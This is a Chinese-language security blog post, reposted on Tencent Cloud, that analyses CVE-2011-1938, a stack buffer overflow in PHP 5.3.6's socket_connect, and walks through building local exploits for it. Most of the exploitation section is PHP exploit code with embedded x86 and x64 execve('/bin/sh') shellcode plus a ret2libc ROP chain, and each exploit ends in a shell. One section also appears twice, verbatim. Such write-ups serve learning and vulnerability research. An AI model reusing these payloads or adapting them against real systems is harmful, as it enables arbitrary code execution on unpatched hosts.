专栏首页安恒网络空间安全讲武堂为安全出把力:CVE-2011-1938漏洞分析以及exp编写

为安全出把力:CVE-2011-1938漏洞分析以及exp编写

## 0x01 前言

首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。欢迎大家一起与我多交流。

## 0x02 漏洞分析

本次漏洞很简单,我就直接拿别人分析过的贴上来了。

Vulnerable code
In ext/sockets/sockets.c:
```
PHP_FUNCTION(socket_connect)
{
  zval                    *arg1;
  php_socket              *php_sock;
  struct sockaddr_in      sin;
  #if HAVE_IPV6
  struct sockaddr_in6     sin6;
  #endif
  struct sockaddr_un      s_un; /* stack var */
  char                    *addr;
  int                     retval, addr_len;
  long                    port = 0;
  int                     argc = ZEND_NUM_ARGS();
  [...]
    case AF_UNIX:
       memset(&s_un, 0, sizeof(struct sockaddr_un));
       s_un.sun_family = AF_UNIX;
       memcpy(&s_un.sun_path, addr, addr_len); /*没有限制参数导致拷贝的时候出现栈溢出漏洞 */
       retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un,
                (socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);
       break;
  [...]
}
```

## 0x03 漏洞利用

要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。

可以运行poc来观察一下,我分别在X86和X64进行了实验。

poc.php

```
<?php
    $pad = str_repeat("A", 500);
    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret  = socket_connect($fd, $pad);
?>
```

## 0x03 漏洞利用

要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。

可以运行poc来观察一下,我分别在X86和X64进行了实验。

poc.php

```
<?php
    $pad = str_repeat("A", 500);
    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret  = socket_connect($fd, $pad);
?>
```

### 一、X86下

GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。

之后编写可以覆盖到ret的半成品exp,代码如下:

```
<?php
    $padd = str_repeat("A", 156)."\x20\x9d\x72\x08";
    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";
    $pad3=str_repeat("C",4)."DDDD";
    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret  = socket_connect($fd, $padd.$pad2.$pad3);
?>
```

可以观察到eip指针被覆盖为DDDD,最后根据调试,将exp编写完整。

```
<?php
    $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
    $padd = str_repeat("A", 131)."\x20\xba\x74\x08";
    $pad1=$shellcode.$padd;
    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";
    $pad3=str_repeat("C",4)."\x08\xcb\xff\xbf";
    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret  = socket_connect($fd, $pad1.$pad2.$pad3);
?>
```

需要注意的是我在X86编译的时候没有开任何保护机制,gdb调试的时候shellcode在栈中的地址和实际环境中的是不一样的,所以需要开启code dump来得到实际shelllcode在栈中的地址,这个只是最常规的,最后运行exp得到shell。

### 二、X64下

在X64下,我分别写了没有保护机制和绕过NX的exploit,在X64一开始给我造成了很大的麻烦,因为我把X86的shellcode搬到了X64中,所以无论怎样都行不通。幸好调试的时候发现了这一点,因为参数传递发生了改变,所以shellcode也无法用了,最后写成的exp.php:

```
<?php
echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";
echo "[+] CVE-2011-1938\n\n";
$shellcode="\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";
$pad = $shellcode.str_repeat("A", 140);
$payload=$pad."\x00\x54\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBBBBBBBBBB"."\x50\xb6\xff\xff\xff\x7f\x00\x00"."\x22\xb5\xff\xff\xff\x7f";  
 $fd = socket_create(AF_UNIX, SOCK_STREAM, 1);   
 $ret  = socket_connect($fd, $payload);
?>
```

运行后得到shell。

写成的rop.php:

```
<?php
$system_addr="\x90\xc5\xfc\xf6\xff\x7f\x00\x00";
$binsh_addr="\x03\x65\x10\xf7\xff\x7f\x00\x00";
$popret="\x45\xbe\x74\x00\x00\x00\x00\x00";
$padd = str_repeat("A", 174)."\xb0\x48\xf5\x00\x00\x00\x00\x00"."BBBBBBBBBBBBBBBB"."\xf0\x91\xec\xf7\xff\x7f\x00\x00"."DDDDDDDD".$popret.$binsh_addr.$system_addr;
$fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret  = socket_connect($fd, $padd);
```

运行后得到shell。

其中的system地址和binsh地址都可以调试找到,popret这个地址可以通过rop工具搜索一下。

## 0x04 小结

本来想用mmap或者mprotect绕过NX,由于不熟练的原因,如果写下去会花费很长时间。其实上面所有的exp其实都只能算是个半成品,没有绕过所有的防护机制,后续会慢慢写下去,越来越熟练的。跟别人相比我总觉得我的exp写的很烂。

参考资料 http://shell-storm.org/blog/PHP-5.3.6-Buffer-Overflow-PoC-ROP/

本文分享自微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-10-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 企业级memcached缓存数据库结合php使用与web管理memcached

    环境 [root@cache01 ~]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Cor...

    863987322
  • 从零基础开始学习PHP(七)

    貌似有两周没有更新文章了、"忙"都是借口、不过我是真的忙、一天瞎忙活。希望多多理解。在这里我要感谢那些支持我的小伙伴、因为有你们的支持、我知道我要对我的文章以及...

    企鹅号小编
  • Jexus 支持PHP的三种方式

    Jexus不仅支持ASP.NET,而且能够通个自带的PHP-FCGI服务以及PHP-FPM等方式灵活支持PHP而且还可以以.NET(Phalanger)方式支持...

    张善友
  • Windows版本nginx

    在cnbeta上看到Nginx 0.7正式变成Stable版,下载下来看了一下,Nginx非常小,配置也非常简单,首先下载nginx 0.7.59的window...

    张善友
  • Phalanger---PHP的.NET编译器

    除了IronPython,微软正试着让.NET平台支持更多你我熟知的动态语言,例如Perl、PHP、Ruby。根据IronPython的创造者、也是微软CLR开...

    张善友
  • 对php多态的理解

    「PHP开发者」 致力于做最专业的PHP中文开发者交流平台 php是面向对象的脚本语言,而我们都知道,面向对象的语言具有三大特性:封装,继承,多态。php理应具...

    企鹅号小编
  • autoload自动加载机制使用

    在PHP开发过程中,如果希望从外部引入一个class,通常会使用include和require方法,去把定义这个class的文件包含进来,但是这样可能会使得在...

    企鹅号小编
  • PHP项目导入新手指南2017

    以留言板项目message为例讲解: 把项目解压拷贝到网站根目录,通常是www文件夹下,这时候就可以打开浏览器通过127.0.0.1/message/访问项目了...

    企鹅号小编
  • 理解PHP中的stdClass类

    相信大家跟我一样,会经常看到和下面很类似的PHP代码: 复制代码 $user = new stdClass(); $user->name = 'gouki'; ...

    企鹅号小编
  • 171.Spring Boot WebSocket:原理篇

    【视频&交流平台】 àSpringBoot视频 http://study.163.com/course/introduction.htm?courseId=10...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券